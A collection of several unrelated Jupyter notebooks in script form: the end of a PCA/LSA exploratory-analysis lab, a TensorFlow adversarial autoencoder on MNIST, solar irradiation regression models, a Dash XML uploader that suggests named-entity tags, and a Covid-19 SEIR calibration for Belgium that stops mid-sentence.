# **ANSWER**:
# Two important notes on PCA:
# 1. PCA can also be used while training a model for prediction or classification tasks. In that case, like during any model training, you would set aside your test data before doing PCA to avoid overfitting your model.
# 2. The components output from PCA can't really be described as any specific input features like 'character length'. They're a set of linearly uncorrelated vectors; we can't break it down much more than than, unfortunately.
# ### Just for fun: 3 dimensional graphing
# Can we see anything new if we ask for 3 principal components instead of 2? Run the following cells to see. Does adding an extra dimension capture anything new about the data?
# +
# Initialize models
lsa3 = TruncatedSVD(n_components=3)
# Fit models
Y_lsa3 = lsa3.fit_transform(X)
# +
# Create a new dataframe with the components and some info about each data point
lsa_3components = pd.DataFrame({'component1': Y_lsa3[:, 0],
'component2': Y_lsa3[:, 1],
'component3': Y_lsa3[:, 2],
'Type': campaign.Type,
'Candidate': campaign.Candidate,
'Date': campaign.Date})
lsa3.explained_variance_ratio_
# -
# Run the cell below to show a 3-dimensional graph of the transformed data points. Try zooming in and out or hiding certain candidates data by clicking on their name on the list at the right side. Do you notice any party or candidate patterns?
# +
data_comp = []
# plots the texts for each candidate, labeling each point with the date and candidate's color and name
for cand in candidate_colors.keys():
points = lsa_3components[lsa_3components.Candidate==cand]
data_comp.append(go.Scatter3d(
x=points.component1,
y=points.component2,
z=points.component3,
mode='markers',
marker=dict(size=3,
line=dict(width=1),
color=candidate_colors[cand]
),
name=cand,
text=points.Date))
layout_comp = go.Layout(
title='LSA',
hovermode='closest',
)
fig_comp = go.Figure(data=data_comp, layout=layout_comp)
py.iplot(fig_comp, filename='LSA')
# -
# ---
#
# ## Bibliography
# - <NAME>. (1977). Exploratory data analysis
# - <NAME>. (1997). Principles and procedures of exploratory data analysis. Psychological Methods, 2(2), 131.
# ---
# Notebook developed by: <NAME>
#
# Data Science Modules: http://data.berkeley.edu/education/modules
#
| labs/20_Exploratory Data Analysis/20_EDA.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python [conda env:anaconda3]
# language: python
# name: conda-env-anaconda3-py
# ---
import tensorflow as tf
import numpy as np
import matplotlib.pyplot as plt
import matplotlib.gridspec as gridspec
import os
from tensorflow.examples.tutorials.mnist import input_data
mnist = input_data.read_data_sets('../../MNIST_data', one_hot=True)
mb_size = 32
z_dim = 10
X_dim = mnist.train.images.shape[1]
y_dim = mnist.train.labels.shape[1]
h_dim = 128
c = 0
lr = 1e-3
# +
def plot(samples):
fig = plt.figure(figsize=(4, 4))
gs = gridspec.GridSpec(4, 4)
gs.update(wspace=0.05, hspace=0.05)
for i, sample in enumerate(samples):
ax = plt.subplot(gs[i])
plt.axis('off')
ax.set_xticklabels([])
ax.set_yticklabels([])
ax.set_aspect('equal')
plt.imshow(sample.reshape(28, 28), cmap='Greys_r')
return fig
# -
def xavier_init(size):
in_dim = size[0]
xavier_stddev = 1. / tf.sqrt(in_dim / 2.)
return tf.random_normal(shape=size, stddev=xavier_stddev)
""" Q(z|X) """
X = tf.placeholder(tf.float32, shape=[None, X_dim])
z = tf.placeholder(tf.float32, shape=[None, z_dim])
Q_W1 = tf.Variable(xavier_init([X_dim, h_dim]))
Q_b1 = tf.Variable(tf.zeros(shape=[h_dim]))
Q_W2 = tf.Variable(xavier_init([h_dim, z_dim]))
Q_b2 = tf.Variable(tf.zeros(shape=[z_dim]))
theta_Q = [Q_W1, Q_W2, Q_b1, Q_b2]
def Q(X):
h = tf.nn.relu(tf.matmul(X, Q_W1) + Q_b1)
z = tf.matmul(h, Q_W2) + Q_b2
return z
""" P(X|z) """
P_W1 = tf.Variable(xavier_init([z_dim, h_dim]))
P_b1 = tf.Variable(tf.zeros(shape=[h_dim]))
P_W2 = tf.Variable(xavier_init([h_dim, X_dim]))
P_b2 = tf.Variable(tf.zeros(shape=[X_dim]))
theta_P = [P_W1, P_W2, P_b1, P_b2]
def P(z):
h = tf.nn.relu(tf.matmul(z, P_W1) + P_b1)
logits = tf.matmul(h, P_W2) + P_b2
prob = tf.nn.sigmoid(logits)
return prob, logits
""" D(z) """
D_W1 = tf.Variable(xavier_init([z_dim, h_dim]))
D_b1 = tf.Variable(tf.zeros(shape=[h_dim]))
D_W2 = tf.Variable(xavier_init([h_dim, 1]))
D_b2 = tf.Variable(tf.zeros(shape=[1]))
theta_D = [D_W1, D_W2, D_b1, D_b2]
def D(z):
h = tf.nn.relu(tf.matmul(z, D_W1) + D_b1)
logits = tf.matmul(h, D_W2) + D_b2
prob = tf.nn.sigmoid(logits)
return prob
""" Training """
z_sample = Q(X)
_, logits = P(z_sample)
# Sample from random z
X_samples, _ = P(z)
# E[log P(X|z)]
recon_loss = tf.reduce_mean(tf.nn.sigmoid_cross_entropy_with_logits(logits=logits, labels=X))
# Adversarial loss to approx. Q(z|X)
D_real = D(z)
D_fake = D(z_sample)
D_loss = -tf.reduce_mean(tf.log(D_real) + tf.log(1. - D_fake))
G_loss = -tf.reduce_mean(tf.log(D_fake))
AE_solver = tf.train.AdamOptimizer().minimize(recon_loss, var_list=theta_P + theta_Q)
D_solver = tf.train.AdamOptimizer().minimize(D_loss, var_list=theta_D)
G_solver = tf.train.AdamOptimizer().minimize(G_loss, var_list=theta_Q)
sess = tf.Session()
sess.run(tf.global_variables_initializer())
if not os.path.exists('out/'):
os.makedirs('out/')
i = 0
# +
for it in range(1000000):
X_mb, _ = mnist.train.next_batch(mb_size)
z_mb = np.random.randn(mb_size, z_dim)
_, recon_loss_curr = sess.run([AE_solver, recon_loss], feed_dict={X: X_mb})
_, D_loss_curr = sess.run([D_solver, D_loss], feed_dict={X: X_mb, z: z_mb})
_, G_loss_curr = sess.run([G_solver, G_loss], feed_dict={X: X_mb})
if it % 1000 == 0:
print('Iter: {}; D_loss: {:.4}; G_loss: {:.4}; Recon_loss: {:.4}'
.format(it, D_loss_curr, G_loss_curr, recon_loss_curr))
samples = sess.run(X_samples, feed_dict={z: np.random.randn(16, z_dim)})
fig = plot(samples)
plt.savefig('out/{}.png'.format(str(i).zfill(3)), bbox_inches='tight')
i += 1
plt.close(fig)
# -
| Autoencoder.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3 (ipykernel)
# language: python
# name: python3
# ---
# ## Algorithm training, testing, and validation
# import libraries
import numpy as np
import pandas as pd
import seaborn as sns
import matplotlib.pyplot as plt
sns.set() # Revert to matplotlib defaults
plt.rcParams['figure.figsize'] = (16, 12)
# load clean dataset
data_load_path = '../data/clean/'
data_load_name = 'cleaned_solar_irradiation.csv'
cleaned_df= pd.read_csv(data_load_path + data_load_name)
cleaned_df.head()
# display column names
cleaned_df.columns
# select features
cleaned_df= cleaned_df[['MonthPE', 'Date', 'Daily_Temp', 'Daily_Precip', 'Daily_Humidity', 'Daily_Pressure',\
'Daily_WindDir', 'Daily_WindSpeed', 'Daily_DNI', 'Daily_DHI', 'Daily_radiation']]
# Feature Engineering of Time Series Column
cleaned_df['Date'] = pd.to_datetime(cleaned_df['Date'], format='%Y-%m-%d')
cleaned_df['year'] = cleaned_df['Date'].dt.year
cleaned_df['month'] = cleaned_df['Date'].dt.month
cleaned_df['day'] = cleaned_df['Date'].dt.day
# display column names
cleaned_df.columns
# select features
cleaned_df = cleaned_df[['month', 'day', 'Daily_Temp', 'Daily_Precip', 'Daily_Humidity',
'Daily_Pressure', 'Daily_WindDir', 'Daily_WindSpeed', 'Daily_DNI',
'Daily_DHI', 'Daily_radiation']]
cleaned_df.head()
# ### Model training and testing
# import libraries for algorithms traininng, and metrics to judge performance
from sklearn.pipeline import Pipeline
from sklearn.preprocessing import StandardScaler
from sklearn.linear_model import LinearRegression
from sklearn.ensemble import RandomForestRegressor
from sklearn.ensemble import GradientBoostingRegressor
from sklearn.model_selection import train_test_split
from sklearn.metrics import mean_squared_error, r2_score
# +
# produces a 70%, 15%, 15% split for training, validation and test sets
train_data, validation_data, test_data = np.split(
cleaned_df.sample(frac = 1),
[int(.7 * len(cleaned_df)), int(.85 * len(cleaned_df))]
)
# convert dataframes to .csv and save locally
data_save_path = '../data/clean/'
train_data.to_csv(data_save_path + 'train.csv', header=True, index=False)
validation_data.to_csv(data_save_path + 'val.csv', header=True, index = False)
test_data.to_csv(data_save_path + 'test.csv', header = True, index = False)
# +
# training data
train_df = pd.read_csv(data_load_path + 'train.csv')
X_train = train_df.drop(['Daily_radiation'], axis = 1)
y_train = train_df['Daily_radiation']
# test data
test_df = pd.read_csv(data_load_path + 'test.csv')
X_test = test_df.drop(['Daily_radiation'], axis = 1)
y_test = test_df['Daily_radiation']
# -
# ### Linear Regression
# +
# Setup the pipeline steps for linear regression
steps = [
('scaler', StandardScaler()),
('lr', LinearRegression())
]
# Create the pipeline
pipeline_lr = Pipeline(steps)
# Fit the pipeline to the train set
pipeline_lr.fit(X_train, y_train)
# Predict the labels of the test set
y_pred_lr = pipeline_lr.predict(X_test)
# -
# Evaluating algorithm performance
mse = mean_squared_error(y_test, y_pred_lr, squared = False)
print('r2_score: ', r2_score(y_test, y_pred_lr))
print('Mean Squared Error: %.2f' % (mse))
# +
# Run the model against the test data presented through a plot
fig, pX = plt.subplots()
pX.scatter(y_test, y_pred_lr, edgecolors = (0, 0, 0))
pX.plot([y_test.min(), y_test.max()], [y_test.min(), y_test.max()], 'm--', lw = 3)
pX.set_xlabel('Actual solar irradiation')
pX.set_ylabel('Predicted solar irradiation')
pX.set_title(" Linear regression: Verified vs Predicted solar irradiation")
plt.show()
# -
sns.jointplot(y_test, y_pred_lr, kind = 'reg')
plt.show()
# ### Random Forest Regressor
# +
# Setup the random forest model: rft
rfr = RandomForestRegressor()
# Fit the pipeline to the train set
rfr.fit(X_train, y_train)
# Predict the labels of the test set
y_pred_rfr = rfr.predict(X_test)
# -
# Evaluating algorithm performance
mse_rf = mean_squared_error(y_test, y_pred_rfr, squared = False)
print('r2_score: ', r2_score(y_test, y_pred_rfr))
print('Mean Squared Error: %.2f' % (mse_rf))
# +
# Run the model against the test data presented through a plot
fig, pX = plt.subplots()
pX.scatter(y_test, y_pred_rfr, edgecolors = (0, 0, 0))
pX.plot([y_test.min(), y_test.max()], [y_test.min(), y_test.max()], 'm--', lw = 3)
pX.set_xlabel('Actual solar irradiation')
pX.set_ylabel('Predicted solar irradiation')
pX.set_title(" Random Forest: Verified vs Predicted solar irradiation")
plt.show()
# -
sns.jointplot(y_test, y_pred_rfr, kind = 'reg')
plt.show()
# ### GradientBoosting Regressor
# +
# Setup the gradient boosting model: gbr
gbr = GradientBoostingRegressor()
# Fit the pipeline to the train set
gbr.fit(X_train, y_train)
# Predict the labels of the test set
y_pred_gbr = gbr.predict(X_test)
# -
# Evaluating algorithm performance
mse_gr = mean_squared_error(y_test, y_pred_gbr, squared = False)
print('r2_score: ', r2_score(y_test, y_pred_gbr))
print('Mean Squared Error: %.2f' % (mse_gr))
# +
# Run the model against the test data presented through a plot
fig, pX = plt.subplots()
pX.scatter(y_test, y_pred_gbr, edgecolors = (0, 0, 0))
pX.plot([y_test.min(), y_test.max()], [y_test.min(), y_test.max()], 'm--', lw = 3)
pX.set_xlabel('Actual solar irradiation')
pX.set_ylabel('Predicted solar irradiation')
pX.set_title(" Gradient Boost: Verified vs Predicted solar irradiation")
plt.show()
# -
sns.jointplot(y_test, y_pred_gbr, kind = 'reg')
plt.show()
# ### Model Validation
# validation data
val_df = pd.read_csv(data_load_path + 'val.csv')
X_val = val_df.drop(['Daily_radiation'], axis=1)
y_val = val_df['Daily_radiation']
# validate models
y_val_lr = pipeline_lr.predict(X_val)
y_val_rfr = rfr.predict(X_val)
y_val_gbr = gbr.predict(X_val)
# Evaluating algorithm performance for linear regression
mse_lr_val = mean_squared_error(y_val, y_val_lr, squared = False)
print('r2_score: ', r2_score(y_val, y_val_lr))
print('Linear Regression - Mean Squared Error: %.2f' % (mse_lr_val))
# Evaluating algorithm performance for random forest regression
mse_rf_val = mean_squared_error(y_val, y_val_rfr, squared = False)
print('r2_score: ', r2_score(y_val, y_val_rfr))
print('Random Forest - Mean Squared Error: %.2f' % (mse_rf_val))
# Evaluating algorithm performance for gradient boost regression
mse_gbr_val = mean_squared_error(y_val, y_val_gbr, squared = False)
print('r2_score: ', r2_score(y_val, y_val_gbr))
print('Gradient Boost - Mean Squared Error: %.2f' % (mse_gbr_val))
| solar-app-project/notebooks/.ipynb_checkpoints/model_dev_sr-checkpoint.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# # Application: XML Uploader & NER Helper
#
# https://dash.plotly.com/dash-core-components/upload
#
# <NAME>: https://towardsdatascience.com/parsing-xml-named-entity-recognition-in-one-shot-629a8b9846ee
#
# StackOverflow: https://stackoverflow.com/questions/54443531/downloading-dynamically-generated-files-from-a-dash-flask-app
#
# Dash Recipes: https://github.com/plotly/dash-recipes/blob/master/dash-download-file-link-server.py
#
# Faculty Platform: https://docs.faculty.ai/user-guide/apps/examples/dash_file_upload_download.html
# +
import warnings, re, glob, datetime, csv, sys, os, base64, io, spacy
import pandas as pd
import numpy as np
from lxml import etree
import dash, dash_table
import dash_core_components as dcc
from dash.dependencies import Input, Output, State
import dash_html_components as html
from jupyter_dash import JupyterDash
# Import spaCy language model.
nlp = spacy.load('en_core_web_sm')
# Ignore simple warnings.
warnings.simplefilter('ignore', DeprecationWarning)
# Declare directory location to shorten filepaths later.
abs_dir = "/Users/quinn.wi/Documents/SemanticData/"
# -
# ## Declare Functions
# +
# %%time
"""
XML Parsing Function: Get Namespaces
"""
def get_namespace(root):
namespace = re.match(r"{(.*)}", str(root.tag))
ns = {"ns":namespace.group(1)}
return ns
"""
XML Parsing Function: Retrieve XPaths
"""
def get_abridged_xpath(elem):
while elem.getparent().get('{http://www.w3.org/XML/1998/namespace}id') is None:
elem = elem.getparent()
if elem.getparent().get('{http://www.w3.org/XML/1998/namespace}id') is not None:
ancestor = elem.getparent().tag
xml_id = elem.getparent().get('{http://www.w3.org/XML/1998/namespace}id')
abridged_xpath = f'.//ns:body//{ancestor}[@xml:id="{xml_id}"]'
return abridged_xpath
"""
XML Parsing Function: Convert to String
"""
def get_text(elem):
text_list = []
text = ''.join(etree.tostring(elem, encoding='unicode', method='text', with_tail=False))
text_list.append(re.sub(r'\s+', ' ', text))
return ' '.join(text_list)
"""
XML Parsing Function: Get Encoded Content
"""
def get_encoding(elem):
encoding = etree.tostring(elem, pretty_print = True).decode('utf-8')
encoding = re.sub('\s+', ' ', encoding) # remove additional whitespace
return encoding
"""
XML Parsing Function: Intersperse Entity with Likely TEI Information for Capacious Regex
"""
def intersperse(lst, item):
result = [item] * (len(lst) * 2 - 0)
result[0::2] = lst
return result
"""
XML Parsing Function: Write New Encoding
"""
def make_ner_suggestions(previous_encoding, entities, label_dict):
previous_encoding = re.sub('\s+', ' ', previous_encoding, re.MULTILINE)
entity = entities[0]
label = label_dict[entities[1]]
try:
# Create regex that anticipates additional encoding anywhere in tag content.
# Break up entity by character to intersperse possible TEI interruptions.
expanded_entity = [c for c in entity]
expanded_regex = '[' + "|".join(['<.*>', '</.*>', '\s*']) + ']*'
# Intersperse possible encoding within entity.
expanded_regex = r''.join(intersperse(expanded_entity, expanded_regex))
match = re.search(expanded_regex, previous_encoding, re.VERBOSE|re.DOTALL)
# If expanded regex is in previous encoding, find & replace it with new encoding.
if match:
new_encoding = re.sub(f'{match.group(0)}',
f'<{label}>{match.group(0)}</{label}>',
previous_encoding)
return new_encoding # Check if encoding is well formed?
else:
pass
except:
return 'Error Occurred with Regex.'
"""
NER Function
"""
# spaCy
def get_spacy_entities(text, subset_ner):
sp_entities_l = []
doc = nlp(text)
for ent in doc.ents:
if ent.label_ in subset_ner.keys():
sp_entities_l.append((str(ent), ent.label_))
else:
pass
return sp_entities_l
"""
XML & NER: Retrieve Contents
"""
def get_contents(ancestor, xpath_as_string, namespace, subset_ner):
textContent = get_text(ancestor) # Get plain text.
encodedContent = get_encoding(ancestor) # Get encoded content.
sp_entities_l = get_spacy_entities(textContent, subset_ner) # Get named entities from plain text.
return (sp_entities_l, encodedContent)
# -
# #### Dash Function
# +
# %%time
"""
Parse Contents: XML Structure (ouput-data-upload)
"""
def parse_contents(contents, filename, date, ner_values):
ner_values = ner_values.split(',')
content_type, content_string = contents.split(',')
decoded = base64.b64decode(content_string).decode('utf-8')
label_dict = {'PERSON':'persName',
'LOC':'placeName', # Non-GPE locations, mountain ranges, bodies of water.
'GPE':'placeName', # Countries, cities, states.
'FAC':'placeName', # Buildings, airports, highways, bridges, etc.
'ORG':'orgName', # Companies, agencies, institutions, etc.
'NORP':'name', # Nationalities or religious or political groups.
'EVENT':'name', # Named hurricanes, battles, wars, sports events, etc.
'WORK_OF_ART':'name', # Titles of books, songs, etc.
'LAW':'name', # Named documents made into laws.
}
#### Subset label_dict with input values from Checklist *****
subset_ner = {k: label_dict[k] for k in ner_values}
# Run XML Parser + NER here.
try:
# Assume that the user uploaded a CSV file
if 'csv' in filename:
df = pd.read_csv(
io.StringIO(decoded)
)
# Assume that the user uploaded an XML file
elif 'xml' in filename:
xml_file = decoded.encode('utf-8')
df = pd.DataFrame(columns = ['file', 'abridged_xpath', 'previous_encoding', 'entities'])
root = etree.fromstring(xml_file)
ns = get_namespace(root)
for child in root.findall('.//ns:p', ns):
abridged_xpath = get_abridged_xpath(child)
entities, previous_encoding = get_contents(child, './/ns:p', ns, subset_ner)
df = df.append({
'file':re.sub('.*/(.*.xml)', '\\1', filename),
'abridged_xpath':abridged_xpath,
'previous_encoding': previous_encoding,
'entities':entities,
},
ignore_index = True)
df = df \
.explode('entities') \
.dropna()
df['ner_encoding'] = df \
.apply(lambda row: make_ner_suggestions(row['previous_encoding'],
row['entities'],
subset_ner),
axis = 1)
# Add additional columns for user input.
df['accept_changes?'] = ''
df['make_hand_edits'] = ''
df['add_unique_identifier'] = ''
except Exception as e:
return html.Div([
f'There was an error processing this file: {e}.'
])
# Return HTML with outputs.
return html.Div([
# Print file info.
html.Div([
html.H4('File Information'),
html.P(f'{filename}, {datetime.datetime.fromtimestamp(date)}'),
]),
html.Br(),
# Return data table of element and attribute info.
dash_table.DataTable(
data = df.to_dict('records'),
columns = [{'name':i, 'id':i} for i in df.columns],
page_size=5,
export_format = 'csv',
style_cell_conditional=[
{
'if': {'column_id': c},
'textAlign': 'left'
} for c in ['Date', 'Region']
],
style_data_conditional=[
{
'if': {'row_index': 'odd'},
'backgroundColor': 'rgb(248, 248, 248)'
}
],
style_header={
'backgroundColor': 'rgb(230, 230, 230)',
'fontWeight': 'bold'
}
),
# # Horizontal line
# html.Hr(),
# # For debugging, display the raw contents provided by the web browser
# html.Div('Raw Content'),
# html.Pre(contents[0:200] + '...', style={
# 'whiteSpace': 'pre-wrap',
# 'wordBreak': 'break-all'
# })
])
# -
# ## APP
#
# Currently assumes every child is a possible document (if they aren't, it shouldn't matter...)
# +
# %%time
app = JupyterDash(__name__)
# Preset Variables.
ner_labels = ['PERSON','LOC','GPE','FAC','ORG','NORP','EVENT','WORK_OF_ART','LAW']
# Layout.
app.layout = html.Div([
# Title
html.H1('XML Uploader & NER Helper'),
# Add or substract labels to list for NER to find. Complete list of NER labels: https://spacy.io/api/annotation
html.H2('Select Entities to Search For'),
dcc.Checklist(
id = 'ner-checklist',
options = [{
'label': i,
'value': i
} for i in ner_labels],
value = ['PERSON', 'LOC']
),
# Upload Data Area.
html.H2('Upload File'),
dcc.Upload(
id = 'upload-data',
children = html.Div([
'Drag and Drop or ', html.A('Select File')
]),
style={
'width': '95%',
'height': '60px',
'lineHeight': '60px',
'borderWidth': '1px',
'borderStyle': 'dashed',
'borderRadius': '5px',
'textAlign': 'center',
'margin': '10px'
},
multiple=True # Allow multiple files to be uploaded
),
html.Div(id = 'output-data-upload'),
])
# Callbacks.
# Upload callback variables & function.
@app.callback(Output('output-data-upload', 'children'),
[Input('upload-data', 'contents'), Input('ner-checklist', 'value')],
[State('upload-data', 'filename'), State('upload-data', 'last_modified')])
def update_output(list_of_contents, ner_values, list_of_names, list_of_dates):
if list_of_contents is not None:
children = [
parse_contents(c, n, d, ner) for c, n, d, ner in
zip(list_of_contents, list_of_names, list_of_dates, ner_values)
]
return children
if __name__ == "__main__":
app.run_server(mode = 'inline', debug = True) # mode = 'inline' for JupyterDash
# -
| Jupyter_Notebooks/Interfaces/NER_Application/Drafts/App_NER-Helper.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# # Covid-19: From model prediction to model predictive control
#
# ## Calibration of the age-structured deterministic model (2)
#
# *Original code by <NAME>. Modified by <NAME> in consultation with the BIOMATH research unit headed by prof. <NAME>.*
#
# Copyright (c) 2020 by <NAME>, BIOMATH, Ghent University. All Rights Reserved.
#
# The original code by <NAME> implements an SEIRS infectious disease dynamics models with extensions to model the effect of population structure, social distancing, testing, contact tracing, and quarantining of detected cases. The model was implemented using two commonly used frameworks: 1) a deterministic framework represented by a set of ordinary differential equations and 2) a stochastic implementation of these models on dynamic networks. We modified the original implementation by <NAME> at its source to account for additional Covid-19 disease characteristics. The deterministic model was extended to model the effect of age-age group interactions, represented by an interaction matrix $N_c$. This was done in analogy to the recently published work of Plem et al (1). The modified implementation of Ryan McGee was then integrated with our previous work and allows to quickly perform Monte Carlo simulations, calibration of model parameters and the calculation of *optimal* government policies using a model predictive controller. A white paper and souce code of our previous work can be found on the Biomath website (2).
#
# (1) https://www.thelancet.com/journals/lanpub/article/PIIS2468-2667(20)30073-6/fulltext
#
# (2) https://biomath.ugent.be/covid-19-outbreak-modelling-and-control
# #### Load required packages
import numpy as np
import matplotlib.pyplot as plt
from IPython.display import Image
from ipywidgets import interact,fixed,FloatSlider,IntSlider,ToggleButtons
import pandas as pd
import datetime
import scipy
import coronaHelper2 as cH
from scipy.integrate import odeint
import matplotlib.dates as mdates
import matplotlib
import scipy.stats as st
import networkx
import models
from gekko import GEKKO
# #### Define the necessary clinical and testing parameters
# +
# -----------------------
# Define model parameters
# -----------------------
# Clinical parameters
zeta = 0 # re-susceptibility parameter (0 = permanent immunity)
dsm = 14 # length of disease for asymptotic (SM) infections
dm = 14 # length of disease for mildly symptomic infections
dhospital = 9.1 # average time from symptom onset to hospitalisation for H and C infections
dh = 21 # average recovery time for heavy infection
mc0 = 0.49 # mortality for critical cases when they receive care
ICU = 1900 # number of available ICU beds in Belgium
# Testing parameters
totalTests = 0
theta_S = 0 # no. of daily tests of susceptibles
theta_E = 0 # no. of daily tests of exposed
theta_SM = 0 # no. of daily tests of SM infected
theta_M = 0 # no. of daily tests of M infected
theta_R = 0 # no. of daily tests of recovered patients
phi_S = 0 # backtracking of susceptibles
phi_E = 0 # backtracking of exposed
phi_SM = 0 # backtracking of supermild cases
phi_R = 0 # backtracking of recovered cases
psi_FP = 0 # odds of a false positive test
psi_PP = 1 # odds of a correct test
dq = 14 # length of quarantine for false positives
# -
# ## Calibration of disease transmission rate $\beta$
#
# #### Load data
#
# We calibrate to the number of ICU beds taken until March 20th (=index -20).
columns = ['hospital','ICU','dead']
hospital = np.array([[58,97,163,252,361,496,634,837,1089,1380,1643,1859,2152,2652,3042,3717,4138,4524,4920,4995,5376,5552,5678,5735,5840,6012,5688]])
ICUvect= np.array([[5,24,33,53,79,100,130,164,238,290,322,381,474,605,690,789,867,927,1021,1088,1144,1205,1245,1261,1257,1260,1276]])
dead = np.array([[3,4,4,10,10,14,21,37,67,75,88,122,178,220,289,353,431,513,705,828,1011,1143,1283,1447,1632,2035,2240]])
index=pd.date_range('2020-03-13', freq='D', periods=ICUvect.size)
data = np.concatenate((hospital,ICUvect,dead),axis=0)
data = np.transpose(data)
data_belgie=pd.DataFrame(data,index=index, columns=columns)
# #### Load and visualise the Belgian interaction matrix $N_c$
# +
# source: https://github.com/kieshaprem/covid19-agestructureSEIR-wuhan-social-distancing/tree/master/data
Nc_home = np.loadtxt("Belgium/BELhome.txt", dtype='f', delimiter='\t')
Nc_work = np.loadtxt("Belgium/BELwork.txt", dtype='f', delimiter='\t')
Nc_schools = np.loadtxt("Belgium/BELschools.txt", dtype='f', delimiter='\t')
Nc_others = np.loadtxt("Belgium/BELothers.txt", dtype='f', delimiter='\t')
Nc_all = np.loadtxt("Belgium/BELall.txt", dtype='f', delimiter='\t')
initN = np.loadtxt("Belgium/BELagedist.txt", dtype='f', delimiter='\t')
data = [Nc_all,Nc_work,Nc_schools,Nc_home,Nc_others]
titles = ['total','work','schools','home','others']
x = np.linspace(0,75,16)
y = np.linspace(0,75,16)
X, Y = np.meshgrid(x, y)
plt.figure()
fig, axes = plt.subplots(nrows=1, ncols=5)
fig.set_size_inches(24,3.6)
i = 0
for ax in axes.flat:
im = ax.pcolor(x,y,data[i], vmin=0, vmax=2,cmap='Blues')
if i == 0:
ax.set_ylabel('age (years)')
ax.set_title(titles[i])
ax.set_xlabel('age (years)')
i = i+1
fig.colorbar(im, ax=axes.ravel().tolist(),label='daily contacts (-)')
fig.savefig('BELinteractPlot.svg', dpi=100,bbox_inches='tight')
# -
Nc = Nc_all # Business-as-usual interaction
betaZonderIngrijpen=[]
# #### Perform fit
# +
# -------------------------------
# Parameters of fitting algorithm
# -------------------------------
monteCarlo = True
n_samples = 50
maxiter=30
popsize=5
polish=True
disp = True
bounds=[(0.01,0.05),(1,60)]
idx=-20
print(index[idx])
idx = idx+1
data=np.transpose(ICUvect[:,0:idx])
method = 'findTime'
modelType = 'deterministic'
checkpoints=None
fitTo = np.array([8]) #positions in output of runSimulation that must be added together, here: CH
# -----------
# Perform fit
# -----------
estimate = cH.modelFit(bounds,data,fitTo,initN,Nc,zeta,dsm,dm,dhospital,dh,mc0,ICU,theta_S,theta_E,theta_SM,theta_M,theta_R,totalTests,psi_FP,psi_PP,dq,phi_S,phi_E,phi_SM,phi_R,monteCarlo,n_samples,method,modelType,checkpoints,disp,polish,maxiter,popsize)
betaZonderIngrijpen.append(estimate[0])
# print(estimate)
# -
# #### Visualise fit
# +
# -----------------------
# Fitted model parameters
# -----------------------
estimate = [0.03215578, 26.61816719]
beta = estimate[0]
extraTime = estimate[1]
simtime=data.size+int(extraTime)-1
method = 'none'
# inital condition
initN = initN
initE = np.ones(Nc.shape[0])
initSM = np.zeros(Nc.shape[0])
initM = np.zeros(Nc.shape[0])
initH = np.zeros(Nc.shape[0])
initC = np.zeros(Nc.shape[0])
initHH = np.zeros(Nc.shape[0])
initCH = np.zeros(Nc.shape[0])
initR = np.zeros(Nc.shape[0])
initF = np.zeros(Nc.shape[0])
initSQ = np.zeros(Nc.shape[0])
initEQ = np.zeros(Nc.shape[0])
initSMQ = np.zeros(Nc.shape[0])
initMQ = np.zeros(Nc.shape[0])
initRQ = np.zeros(Nc.shape[0])
# --------------
# Run simulation
# --------------
simout = cH.simModel(initN,beta,Nc,zeta,dsm,dm,dhospital,dh,mc0,ICU,theta_S,theta_E,theta_SM,theta_M,
theta_R,totalTests,psi_FP,psi_PP,dq,phi_S,phi_E,phi_SM,phi_R,initE, initSM, initM, initH, initC,
initHH,initCH,initR,initF,initSQ,initEQ,initSMQ,initMQ,initRQ,simtime,monteCarlo,
n_samples,method,modelType,checkpoints)
# -----------
# Plot result
# -----------
t=pd.date_range('2020-03-13', freq='D', periods=data.size)
tacc=pd.date_range('2020-03-13', freq='D', periods=data.size+int(extraTime))-datetime.timedelta(days=int(extraTime)-1)
fig=plt.figure(1)
plt.figure(figsize=(7,5),dpi=100)
plt.scatter(t,data_belgie.iloc[:idx,1],color="black",marker="v")
plt.scatter(t,data_belgie.iloc[:idx,2],color="black",marker="o")
plt.scatter(t,data_belgie.iloc[:idx,0],color="black",marker="s")
plt.plot(tacc,np.mean(simout['HH']+simout['CH'],axis=1),'--',color="green")
plt.fill_between(tacc,np.percentile(simout['HH']+simout['CH'],95,axis=1),
np.percentile(simout['HH']+simout['CH'],5,axis=1),color="green",alpha=0.2)
plt.plot(tacc,np.mean(simout['CH'],axis=1),'--',color="orange")
plt.fill_between(tacc,np.percentile(simout['CH'],95,axis=1),
np.percentile(simout['CH'],5,axis=1),color="orange",alpha=0.2)
plt.plot(tacc,np.mean(simout['F'],axis=1),'--',color="red")
plt.fill_between(tacc,np.percentile(simout['F'],95,axis=1),
np.percentile(simout['F'],5,axis=1),color="red",alpha=0.20)
plt.legend(('Hospital (model)','ICU (model)','Deaths (model)'),loc='upper left')
plt.xlim(pd.to_datetime(tacc[24]),pd.to_datetime(tacc[-1]))
plt.title('Belgium',{'fontsize':18})
plt.gca().xaxis.set_major_locator(mdates.DayLocator())
plt.gca().xaxis.set_major_formatter(matplotlib.dates.DateFormatter('%d-%m-%Y'))
plt.setp(plt.gca().xaxis.get_majorticklabels(),
'rotation', 90)
plt.ylabel('number of patients')
plt.savefig('belgiumFit.svg',dpi=100,bbox_inches='tight')
# -
# ## Calibrate social distancing parameter
#
# By fitting our model to the number of ICU beds occupied during the initial days of the outbreak, we obtained a reliable estimate of $\beta$. This parameter is a disease characteristic and represents the odds of contrapting the disease when coming into contact with an infected person. All contacts in our model are random (assumption of homogeneous mixing) and the disease is assumed to have the same characteristics for all ages. The contact matrices allow us to simulate the effect of concrete policies such as schools closure, working at home, etc. However, when simulating the model with everyone being at home (no school, no work and no others), it is impossible to flatten the peak. This is caused by the fact that all contact matrices were obtained under a business-as-usual scenario, and do not account for the effect of general social distancing. To include the effect of social distancing, it is necessary to use one extra parameter, $\chi$, to model the effect of lower network connectivity. As the peak is flattening in Belgium, it is possible to calibrate 